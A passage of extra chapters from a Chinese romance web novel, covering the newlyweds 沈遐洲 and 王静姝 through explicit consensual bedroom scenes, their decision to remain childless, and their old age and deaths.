沈遐洲却更拥紧了她,起身托着女郎入了内室的帐中。 发饰、礼服、罗袜……一件件地从帐中飞出,有郎君的,也有女郎的。 然方才的红绸却仍被女郎握在手中,唯不同的是,这方红绸只罩住了女郎一人,她紧咬唇瓣,下颌高高扬起,丝滑红绸也随之滑落一半,她颊靥红得异常,手指也发力般于床榻间寻找抓握点。 而另一人的吞咽与呼吸却从下方来。 郎君一手有力地按至于女郎后腰,一手向下禁锢,修如眉骨的指节随着吞吃的用力,把女郎的肌肤都压得微凹。 女郎堆至腰间未褪下的衣裙,如遭骤雨倾袭的花般簌簌颤动。 王静姝眼尾泛红,眼神都被吃得迷蒙发晕,再也忍不住地抓住沈遐洲后脑的发。 沈遐洲的发簪被她扯落,散开的发丝像获得了生命,时而拂过她的腿弯瘙得她痒痒,时而又蹭得她酥麻无比。 这种感觉既让人陶醉沉迷,又让人太过难耐,她有时也不知自己对沈遐洲使了多大的力。 但沈遐洲下一刻的反应,总能告诉她答案,他头埋得更甚,抵在她肌肤上的手指收力也更甚。 王静姝瞬间发出声来,连调子都变了样。 纵是她再大胆也没经过这种吞吃,脸颊发烫,也为自己的呼声感到狼狈,她掩耳盗铃般将遮眼的红绸往下拉,她甚至不敢去看郎君此时的形容。 然她越是这样,沈遐洲便越是卖力,他不但吃,还偶尔退出,含住,再一下一下地重新来。 即便看不见,身体的反应。 还有他那来不及吞咽的水声,都让王静姝觉得再没脸见人了。 发疼颤动中,弱点被极猛烈的紧逼,王静姝眼前白茫一片,懵懵中只恨沈遐洲为何要这么爱学习。 昔日她就是被他拉着一起学习,偷尝了禁果,今日大婚,他在她耳畔说的也是学了新的技艺,要同她探讨。 她想得羞恼,呼吸混乱地捶打沈遐洲。 沈遐洲一手把着她的腿,一手茫然从女郎的后腰处抽出,半张隽逸面容,从如花堆叠的裙摆处抬起,面上绯色不输女郎。 他舔了舔满是湿意的唇角,反省地问:“是不好吗?” 随着说话,他颈上微微凸起的喉结也滑动一下。 王静姝分明是想给他白眼的,可目光不自主就被吸引,他实在犯规。 他方才将她欺负得那样狼狈,可抬头时,却顶着一张优雅隽逸的脸,可怜巴巴地问她好不好。 怜弱得她夸也不是,不夸也不是。 只好拽他上来,用手指戳了戳他凸起的喉结出气。 沈遐洲倏地像是明白了什么,眯起眼瞧着女郎笑起来,他俯身就要亲女郎,王静姝却扭头不让他亲,捂着他的嘴道:“脏。” 沈遐洲显然怔住了,有些委屈:“卿卿,你怎么连你自己的都嫌弃。” “你刚可不是这样的,你将我的衣襟都打湿了。”“你薅得我头皮都发疼,你分明是舒爽了的。”“你怎能将我用完就扔……” 眼见他越说越不像话,他敢说她都不敢听,只得亲吻上去,堵住他喋喋不休的数落,至于是不是自己的,脏不脏的早已抛至脑后。 二人亲吻相磨下,沈遐洲早就支棱的凶兽,也越发地失了矜持,他的渴望,早就为女郎而亢奋。 他开始躁动,扣住女郎的一手向下,他的强势于姿态中显露,可口吻却仍旧那般柔软:“卿卿,也帮帮我吧。” 王静姝就不是会乖乖听话的女郎,她抽手,困倦地打了个哈欠,无辜眨眼:“我累了。” 瞬地,沈遐洲的容色就心碎了般地狞一下,幽怨的眼神失望望着王静姝说出事实:“刚都是我在使力。” “罢了,谁让我是入赘的,卿卿你就欺负我吧。” 他越说越大度,可昂扬却半分没有退让,还等着王静姝表态呢。王静姝实是爱欺负沈遐洲,尤其是他近来兢兢业业地入了赘婿的戏,常对她扮可怜。若说一开始他是怕未大婚前,王斐如倏地后悔将女儿嫁给他,那后来简直是被他玩成了情趣。加之他养病中也闲得很,还给自己编了许多的本子,有时是落难书生,有时是阶下囚……王静姝偶尔会配合,有时也会如现下这般拆了他的戏,问:“你既这般大度,那就赶紧从我身上下去。” “改日我再寻些个更健壮有力的。” 沈遐洲果地再演不下去,对着女郎猛地一顶,目中凶狠: “你敢!” 王静姝被顶得哆嗦一下,半身都软了地叫一声,她也不客气地探手捏他一下。 沈遐洲仰头、出声,也不知是痛的还是爽的。 他仿佛陷于极大的忍耐中,神色极为不正常,双眼雾沉沉的,染满欲色的可怕:“即卿,还要。” 低哑的嗓音,听着很是病态。 可也极易勾起人的异念。 帐内朦胧晦暗,王静姝被沈遐洲勾得心脏狂跳,他对这样的郎君喜欢得一塌糊涂,她就是爱容貌俊美,又能给她新奇刺激的郎君,她稍微用力,郎君的下颌便昂起,喉结也愈显。她微掀眼,惊异于他的动情,也得意于对他的掌控,她也再次泛起毛刺般的酥意,动情地亲吻他喉结。 显然的,这于这种关头的郎君而言是一种冲击。 王静姝只感沉甸更臌胀,就像是要有什么喷涌而出一般。 红绸都难以擦净的贲发,二人好半响才回神。 沈遐洲略有歉意地帮她擦,然擦着擦着,他黑寂的眼神便又变了味,女郎手指纤细柔软,他不受控地忆起女郎帮他时,裹不住地要他快些,她被蹭红的手掌也都是为他,但他忽觉这样不够,不够激荡,也不够餍足。 他的克制从一开始就没有,他只是知晓女郎的性子,先给了她甜头,给了她掌控的欲念。 他倏地将女郎的指尖含入口中,舌尖卷过,温热自指尖传至女郎全身,沈遐洲不容她拒绝地同她缠绵,挑逗她。 当女郎抽回手时,沈遐洲也随之压下,他的发冠早已不见,而女郎的发髻也早已散乱,抵吻中汗透的青丝,湿淋淋地贴面,也缠在一处,早已分不清彼此的温度,令人情难自禁地着迷。沈遐洲根本没想过放过王静姝,尤其是她那句“改日寻个更健壮有力的”,他面上虽不显,但从一开始就极小心眼地记下了,打定了主意要令王静姝吃些教训,再不起旁的念头。初时,他从前面抱住她,令她还算舒服地躺在柔软锦被上,只同她缠着,抵着,厮磨着,勾着她亲吻,惹得她拱起腰来迎,他却仍不给,同她咬着耳朵商量:“卿卿,若开始由你说,结束可得由我。” 王静姝已然迷糊,只觉得他气息热得灼人,且听着也很是公平,便点头应下。 然一经她点头,沈遐洲再没什么禁忌,他倏地一改慢吞吞的磨人,变得极快,极激,烈。 猛地就将王静姝摧毁,神魂都好似不是自己了的失控。 她如暴风雨中小舟,不断受到倾袭。 可她的喊停,皆被郎君的亲吻堵回,沈遐洲撕开了他所有伪装的怜弱可怜,他沉寂的渴望全然苏醒,他恨不得将女郎吞之入腹,将她揉入自己的骨血中。 王静姝也是倔强极了的女郎,喊停不得,也不求饶,一边骂沈遐洲证她,一边在他身上留下一道道指痕,这种对抗,激起更激烈的折腾。 失神中,王静姝隐约听得沈遐问她:“卿卿,有我,可还需寻更健壮有力的?” 94、番外二 红烛燃半,帷帐也终于随着帐中二人的折腾停歇静静垂落。 女郎鬓边早已被汗透,睡靥也带着褪不去的红晕,比上好的胭脂都要动人,沈遐洲俯身与她贴近,手指缓慢揩过:“"即即,你睡了吗?” 回应他的唯有女郎清浅的呼吸。 可即便这样,他也难掩胸腔中的兴奋,今日的一切都让他亢奋,这是他同王静姝的新婚夜,王静姝是他的妻子。 朦胧灯火下的红绸红帐都在证明着这不是梦,他睡不着,可也不忍强唤醒女郎,他自己起身,去了净室。 王静姝听得些窸窣的响动,强打精神辨出些他是在为彼此擦洗,便多配合地动动。 本以为他这番洗漱后总该消停了,却没想这人半分睡意没有,一会在她耳边说他今日极开心,一会不断强调她是他夫人了,处处透着傻意。 王静姝便是再强的睡意,也无法忽视他,她翻身倏地睁眼,亲吻上郎君喋喋不休的唇,继而埋入他颈窝中,尤带着困倦的语调道:“知道了,我是你夫人,快睡吧。” “明日还有得忙呢。” 新朝初立,沈二郎等人为了他们的婚事才暂离洛阳,白日一早,就得启程归洛,怎么都该去送送,还有她父亲那,奉茶见礼,一堆的亲 朋长辈也怕是要见上许久。她实不知他哪来的精力,折腾半宿竟还不困,她抱紧了他,不准他再胡乱动作。 肌肤相贴的暖意无端地令人心静,沈遐洲回抱女郎。 他确定自己后半夜好眠极了,像是浸入了美梦,梦里不再是刀光剑影,没有战场厮杀哀鸣,也没有惊醒,只有带着暖意的芳香。 沈遐洲睁开眼,盯着绯红帐顶,一时有些恍然,手下意识摸向一旁,空荡荡的触感令他陡地坐起掀开帐。 王静姝听得动静,于妆奁处扭头看他,笑意漫开:“你醒了。” 瞧见女郎笑靥,沈遐洲跳至嗓口的心缓缓回落,只这样极简单极寻常地望着,他便觉得心里有什么要膨胀出来了,像是欢喜,又像一直破洞般的心终于获得了满足的幸福。总之便是极好的。 王静姝被他面上满足般的轻笑怔了怔,她多久没见过这样温温柔柔没有半分戾气的沈遐洲了? 他心里总藏着许多事,报仇,驱逐外敌,收复失地,帮沈二郎坐稳位置…… 桩桩件件有出于他私心的,也有他真心想还给百姓一个海晏河清的未来,但无例外地都是些大事,他总觉自己做得不够好,不够快,一些愧疚与自责整日整日地折磨着他,他不断用杀戮去平息去获得平静。 可今日,他好似终于从中走出一些了。 王静姝从妆奁前起身,走至床榻捧起沈遐洲的脸:“沈九如,我本觉得我两早便在一起,婚礼不婚礼的根本无所谓,可现在,我觉得成亲真好,你我可以日日在一起,你也会露出这样无害的笑。” “真好看。”她说着,低头在沈遐洲脸颊上亲一下,啵的一声响,半点也不知羞。 沈遐洲被女郎忽如其来的亲吻给亲得懵了,后知后觉地脸上浮起赧红:“E即9即,我也觉成亲真好,往后的每一日,我醒来都能见到你。” “你方才是在画眉吗?”他脑中想了一下似在哪听过夫妻间画眉的情趣佳话,很是跃跃欲试。 王静姝瞧出他的想法,大方地坐到妆奁前,递螺黛给他。 不久,外头的仆从婢女们,只听得里头传出女郎的各种崩溃声,还有郎君的道歉声,诸如—— “你怎么能这么笨,歪了歪了。” “你自己瞧瞧好看吗?” “还试,都让你试几次了…最后一次了!” 又是好一番的磨合,二人再出门时,竹苓抬头瞧了一眼,便见娘子的眉毛左右有几分差别,两边的深浅也不一样,娘子又气又急地走在前头,郎君面带委屈跟在后头。 竹苓憋不住笑一下,立马低下了头。 二人上了马车,先往码头去送行,马车上,王静姝也不住拿靶镜瞧自己的双眉,怎么瞧怎么别扭,拿了帕子沾了茶水将画得较深的眉尾擦去些,才略看得下去眼。 不由又瞪了罪魁祸首一眼。 沈遐洲也再不敢说他瞧着没差这种触霉头的话,只瞧着女郎对镜细致擦拭的模样,觉得很是新奇,便是被瞪,也含笑看她:“你日后多让我试几次,我定然能画好。”他笑容清雅包容,偏离往日的阴沉作秀,语气真诚笃定,配上他的好相貌,十足的温玉公子模样,让王静姝这种熟悉了解他的人,都在一瞬被吸引。 他这样好欺负的模样,简直,简直就是在勾着她欺负。 也令她一时再说不出不好来,轻易许出给他多试试的机会。 再回神,又懊恼,再给他试,她要顶着不对称的眉毛多久啊! 可瞧着精神状态越来越好的沈遐洲,她便也忍下了,大不了日后他帮画眉的那日,便不出门了。 不多时,马车行至码头,数舰艨艟已整备待发,显然的,是他们来晚了。 沈二郎立于江岸,像是已等他们许久,见了他们前来,促狭的视线从二人身上扫过,一如数年前般兴味。 告别短暂又怅然。 他们每个人,似乎变了,又似乎没变多少,那些逝去的已不可追,可将来还有许久许久,沈二郎无疑是操心的命,最后也不忘叮嘱王静姝多留意沈遐洲的病情,当然最重要的是,请他们也去洛,说给他们留了最大最好的宅子。 想来,向来游刃有余的沈二郎也是会怕寂寞的吧。 不过,即便他再如何邀请,王静姝与沈遐洲也一时不会轻易离开南地的。 改弊非是一日之功,尤其南地没有如北地那般战火彻底的洗礼,世家大族仍旧盘根错节,沈遐洲封为淮南王,无不有防范动乱的考量在内。 王静姝不不止一次好奇,沈遐洲到底同她阿父谈了什么,能令南北两地谈和,后来才拼凑出了个大概,南地经战少,保留了实力的同时,也更怕遇到强横的对手失去所有,尤其北地强盛无比的沈氏,更令人心惶惶。 大多数人都恐惧开战,而她阿父瞧着独大,可背后也离不开交好的大小世家支持,早就察觉到了这种恐慌,沈遐洲的送上门无疑是一个和谈的契机。 可以说,她的这场婚事,非只是二人的婚礼,更是代表了两地。 不过她也不讨厌就是了,且也心知肚明,旁人看来参杂诸多利益的婚事,实则,都是在乎她的阿父和郎君的真心。 想想沈遐洲总挂在嘴上的赘婿话本故事,有时候还怪有意思,昔日想给沈遐洲打一条锁链的心又蠢蠢欲动。 * 成亲后的二人住在新抢来,重新修葺一新的王府中,整日作伴倒也不无聊,王静姝重新捡起落下好一阵的舞技,沈遐洲也重拾起琵琶。 王静姝爱极了沈遐洲弹奏的模样,有种昔日纯情小郎君回来的感觉,便爱在这时舞到他身前,如雾如縠纱的裙练罩头落于他面上。 罩于朦胧轻纱下郎君,戴着玉冠,身形端正,仰起的脸在朗月下清湛非凡,若神君姿容,然女郎也就勾他一下,当他伸手去撩落于他身的白练时,女郎蓦地翻折纤腰,从他身畔溜走。 她的舞步也越来越疾,身姿若飞若折,令人又惊又惧,恐她飞离,又恐她折断身躯,可也惊于她纤弱肌骨下,仿若有燃不尽的火簇,那火簇越旋越大,胀满了沈遐洲胸膛,他的女郎便一直这般热烈,热烈得能挤走他心间所有阴郁,如烧起般涅槃新生。 一舞毕,女郎裙裾收起如金鲤摆尾的一翩,整个人顺势跌坐在郎君一侧,吐息湿热带哑:“好看吗?” 沈遐州只觉自己像是发烧般,面颊烧热,耳廓发红,只想女郎再贴近些才好,分明是剧烈活动后的女郎,可贴近的肌肤比之他的,就是微凉些地让人更渴一分。 他被她没有技巧纯粹的诱惑勾得心神摇曳,可坐姿仍旧端然,甚至嘴上还义正言辞地道:“这位女郎,我已有家室,你这样不妥。” 王静姝一时接不上他的戏,面色顿了顿,又听那故意装纯的郎君在数起他的夫人多么好,多么美。 王静姝嗤他一声,笑倚上前:“那是你夫人美,还是我美?” “自是我夫人貌美更甚。” 沈遐洲说着,眼风倒是没少往她汗湿勾出的身形轮廓上瞧。 王静姝陡地变了气势,一手叉腰地捏上他的耳:“我瞧你就是金玉其外的好色郎君,你既爱重你夫人,一双招子何故乱瞧?” “我看你夫人就该给你将你锁起来,关起来!” 她说的凶狠,手上的力道倒是不重,可耐不住沈遐洲的配合,她甚至瞧见在她说出锁起来关起来时,沈遐洲的眼还亮了,惊得她松了手。 也是这一松楞下,沈遐洲的唇挤过来,舌尖勾缠她,两只手也紧紧搂着她的腰。 王静姝不知道这是多少次感慨了,成亲至今也快一个月了,这人怎就不知道餍足,花样还多,就像是要将昔日分别时的缱绻,一口气地在新婚补回。 她便是再百无禁忌,也经不起他不知疲倦的耕耘,尤其是方才那一眼,亮得惊人,一瞬令她生出了退意。 今日或不该再与他胡闹,她推拒一下,沈遐洲也适时松开她,却若远若近地卷着她的一缕发,”即卿即,你是有什么东西要送我吗?” 王静姝疑惑,非年非节的,她哪有东西要送。 沈遐洲见她想不起,提醒:“就前日匠坊给你送来的。” 王静姝张了张唇,一瞬想起了到底送来的是什么,她一时兴起令人做的项圈,同沈遐洲当初绑缚她的脚镣恰可凑成一对。 她也就想想先做着玩,还没想真施加沈遐洲身上,毕竟这种事多少有些伤颜面,便是夫妻,也不能不尊重彼此的意愿吧。 可沈遐洲也不知何时发现的,甚至又入戏几分地挑衅:“你若是我夫人,你要怎么将我锁起来,关起来?” 王静姝天性受不得激,到了这时哪还忍得住,指腹刮过沈遐洲下颌,最后停留在他脖颈凸起的喉结处,轻缓摩挲,抬眼间是带着戏弄的威胁:“当然是将这儿锁上,然后将你的眼也绑缚遮上,见不得,动不得,全由我施为。” 指腹下的肌理陡地绷起,喉结明显地滑动,才说说而已,他就兴奋上了? 她手指被烫得往回缩,沈遐洲却陡地拽住了她的手,他唤她的声音,浓情又压抑,“卿卿,你别光说不做啊。” 他握着女郎的手重新放回颈下,“锢住这里哪够,把我的手绑缚住也是可的。” 他笑意直达眼底,明明是端然面皮薄的模样,可举止却一再诱着女郎更大胆,更放肆些。 当二人再于床榻间的一方幽晦空间时,早已分不清到底是谁诱的谁,又是谁拉得谁更堕落。 他们天生就相互吸引,天生就应该百无禁忌地在一起翻着滚着。 沈遐洲的发冠歪了,他仰头不断迎合女郎,加深亲吻,颈部绷出满弓一般的线条,流利又湿淋着,汗水几乎浸透了锁链内部包裹的软绸。 瞧不见的刺激下,放大了所有旁的感官。 他兴奋得几乎要将她丁页翻。 女郎细细惊叫,报复地拉他颈后锁链,欲将节奏掌控在自己手中,可随着她下拽,郎君肩颈血管更是被栓紧般鼓凸。 他疯了似的地仰起脸亲吻她。 他沾满欲色的兴奋模样,王静姝瞧得心惊,又一阵绝望。 她就知道,他有病。 他看似在日常生活中回归了正常的模样,可不过是他知该如何收敛,他本质仍旧阴戾疯狂,濒临死忙的窒息感,还有禁忌与情欲的偏离感轻易点燃了他。王静姝被他濒临边缘的疯狂震撼,被他的激,烈牵走了情绪。 她浑身颤栗,数次几乎喘不上气。 及至愉快的浪潮涌来。 女郎哆哆嗦嗦地结束了这场欢愉,耳边尤有如眩晕般的鸣响。 沈遐洲长发湿淋淋贴颈,勒出的红痕愈显鲜明,像是有些许的擦破。 不过他并不在意,甚至无有知觉,只用头蹭着女郎倚下的肩头,将本就半落的遮眼绸缎蹭落,眉眼间荡出餍足后的慵懒,发出喟叹般的嗓音:“卿卿真好。”强烈的刺激,早已令王静姝头脑发胀,她本不该被他不正常的喜好带偏,可他病态的温顺,总令她控制不住地奖励他几分。 她觉得自己完了,她同沈遐洲私下里,怕是要日渐不正常下去了。 95、番外三 春去秋来,寒来暑往。 南北两地日渐稳定,沈二郎的手段比早前的每一任掌权者都要慢刀子。 他推行的政策,并不一味打压还存的世家,只缓慢地缩紧了过往的优待政策,当一些养尊处优惯了的世家反应过来时,他们已不得不服从新政,寻求新的出路。王氏倒还好,王斐如早就料到这天般,早早就紧着家中子侄念书,科举制方试行时,便有不少子侄下场。 随着新朝治下的清明,也送入不少王氏子弟步入官场,王斐如渐有退隐之意。 他本就不是重权之人,且也到了含饴弄孙的年岁,对权势更没什么好留恋的,只有一点,令他撂不下手。 他还没个亲孙儿啊。 王静姝与沈遐洲成亲已经好几年,二人感情甚笃明眼可见,可肚子始终没动静。 早些时候,王斐如觉得女儿家生产九死一生,那些死在难产中的女子皆是年纪轻轻,身子骨都没发育全的,六娘晚些有孕也好。 便也懒得插手小夫妻之间的事。 可日子一久,便觉得是女婿不行。 这日,王斐如请沈遐洲品茗,话中多关切沈遐洲的旧疾:“近来身子可好?” 老丈人的突然关心,沈遐洲不由挺直了脊背,脑中将连日来经手过的政务都过了一遍,王斐如不是无的放矢的人,他问必然有用意。 然他想破脑袋也只谨慎地谢过关心,而后更是几句不离身子骨之类的话题,甚至还送了不少补气养身的药材。 沈遐洲再回不过味来那便白瞎了活到今日的心眼。 他同王静姝的身子自是没有问题的,只避孕已然成为习惯,二人也不曾去留心此事。 他想象不出女郎腹中会有一个小生命的模样,也对自己有一日会成为父亲没有实质的感受。 他想象不出喜悦,甚至有一股难言的恐慌更占据了他所思所想。 * 王静姝也发现了沈遐洲的不对劲,他夜半易醒,有时还会出去,再回来时,就如蔫了的小狗般丧气,抱着她的手臂常会置于她小腹处,眸色沉沉地不知道在想些什么。她疑心他或是想要一个属于他们的孩子,可恰恰相反地,沈遐洲有时拒绝同她胡闹,在情事上也变得更加谨慎。 王静姝不得不请如今居于府中韩医官来问话。 韩医官此人自跟同他们离开洛阳,又几经颠沛,倒是一直负责着沈遐洲的身体,按理,经过几年的调养,沈遐洲都不再发病了,可连日来的举动,实是令人忧心。 在她追问下,韩医官也捻着胡须说沈遐洲的举动古怪,总问他些妇人生产的事,他又不是专攻妇科的,有些说不上来的被问烦了,便建议沈三郎不如自己去寻那要生产的妇人瞧一瞧。 “郎君不会真这么做了吧?”韩医官一股脑地同王静姝吐完知晓的,忐忑地最后一问。 王静姝眉眼淡淡扫过,心里已经有了几分肯定,沈遐洲怕是真做的出。 其实,她都能猜到沈遐洲又在想什么,他比旁的郎君都更要敏感多思,旁人想一步,他偏要想到十步以后,八字没一撇的事,他就已经在焦虑上了。 反倒是她自身,对孕育子嗣可有可无,王七郎婚后生的几个小孩儿就烦死了,不是哭就是拉,再粉雕玉琢的面庞也抵不过熏天的臭气,还半点道理讲不得地抓她鬓发钗环。 她本想着沈遐洲若是喜爱小孩,生一个玩玩也无妨,可要像她阿父一样为子女计之深远,她扪心自问,她是绝对做不到的。 且她瞧沈遐洲也不像是想要小孩的模样,便一直不曾主动提起此事。 可这几日下来,她觉或该同沈遐洲变好好谈谈。 她尤想着,而沈遐洲那边也正等在一农户后,屋中不时传来女子撕心裂肺的喊叫,这已不是沈遐洲第一次听得这样痛苦的哀叫。 他近来见了颇多妇人,有方怀孕不久的,也有这样临盆的,但无一例外,只加深了沈遐洲的恐惧。 一个新生命的到来对母体几乎是翻天覆地的折磨,想到这些可能的痛楚,或会出现在女郎身上,沈遐洲心口蓦地一痛,甚至恨上了不存在的生命。 一盆盆血水从屋中倒出,沈遐洲的面色也越发地苍白。 他于农户格格不入,可偏倔强地等在别人妻子的产房外,瞧着比人家丈夫还在意,每当屋里头有人出来时,他都要问上一句:“如何?” 引得人宗族都出动了驱赶他这怪人。 连日跟从沈遐洲看了不知多少场分娩的卫士,已娴熟地应付护着郎君离开,私底下,莫不怀疑郎君脑子坏了。 又一日,沈遐洲几乎是顶着暴雨归的府中,大颗大颗的水珠不断从他发尾乃至袍角滴落,他面色白得吓人,甫一见到王静姝,便紧紧拥向女郎。 “卿卿,我不想你有事。”“我们不要孩子好不好。” 生孩子是会死人的,今日他又见识到了,满身血污的妇人死状深深刻在他脑中,有一瞬,他竟觉得女郎的面容也同那些妇人的面容重叠了般地令他难以喘气。 他本便不想要什么同他血脉相连的孩子,他从始至终想要唯有王静姝一人。 可经王斐如提醒,他才思虑王静姝或想为人母的吧,尤其是她最近总那般主动,还尤爱逗弄王七郎家的小孩儿玩。他本想克服没由来的的恐惧,可只越发确定了,如若王静姝出事,他真的会疯的,一丝一毫的意外,他都不想王静姝去尝试。王静姝不知道他发什么疯,可仍能感觉出他的害怕,他在害怕失去她。 她回拥他,又命人煎碗暖身的姜茶来,继而拉着沈遐洲去里间换衣后,为他细细擦拭湿发。 沈遐洲垂目便可见女郎婉丽的眉眼,他没放弃地问:“卿卿,你喜欢孩子吗?” “你若喜欢,不如从王七郎那抱一个来养吧。”“你想孩子想疯了是吧。” 从入门起,沈遐洲就嘴不离孩子孩子的,还把主意打到了王七郎头上,王静姝受不了地骂他。沈遐洲露出迷惑的表情,小心翼翼的提议:“不喜欢王七郎家的,换个人家的也行。”“总之,你别自己生,伤身体,我瞧着好多妇人,生产后都留有暗疾,活的也不长久…….王静姝掀着眼,听着沈遐洲细数怀孕的种种不好,再想不知他这些日子做什么去了都难。他可真行啊,竟真跑去蹲妇人分娩。 王静姝听得都想翻白眼了,控制住地打断他:“谁同你说我喜欢小孩了?” “小孩麻烦死了。” “不管是自己还是旁人的,我都不想养。” “沈九如,我想与你活得长长久久,直到你我皆白发苍苍。” 沈遐洲怔然,目中充满了复杂的情绪,有震惊,迷茫,然后是更大的喜悦覆盖。 他直接抱起女郎,与她额抵着额,像是许诺,又像是本就是这般想的喃声应道:“好,不要旁人,就我与卿卿共白头。” * 王静姝与沈遐洲一生无子嗣,二人闲时游历名山大川,沈二郎需要时,也会去洛阳住上些时日,但大多时候,他们行到哪就住在哪。直到他们垂垂老矣,归了建业安养。 王静姝的身子向来健朗,许多人本以为沈遐洲会走在她前头,可世事无常,王静姝跌了一跤,竟走在了沈遐洲的前头。不过七十古来稀,也算是高寿,她走的那一天,沈遐洲也恍若一瞬更加苍老,一如年轻时般为撩起散落的鬓发,再次唤她:“卿卿,你别急着走,可要在黄泉路口等上我一等。”沈遐洲知他的女郎爱华美,爱热闹,便是丧礼,也有意操持得少了几分沉闷,他与女郎虽没有子嗣,可数十年下来,侄儿侄孙们倒是一大堆。便是抽空于树下偷个懒,也有小童在身旁跑来跑去,不时有孩童凑上前问他:“祖爷爷,你是要睡觉了吗?” “我娘说不要在外头睡觉,容易着凉。” 又有大胆的孩童还趴在他摇椅的一侧,问他:“祖爷爷,为何灵堂有两具棺材,还有一具是谁的?” 沈遐洲不得不承认,孩子确实是麻烦极了的生物,吵得人久不犯的头疾又发了起来,他眼前,好似出现了鲜妍极了的女郎— 她十五六岁的模样,在他窗前仰头,问他:“沈九如,我跳舞给你看好吗?” 沈遐洲眼眸微弯地笑起来,身子都好似轻灵了似的朝女郎伸出手。 融融日光下,鬓发全白的老者似安详睡着。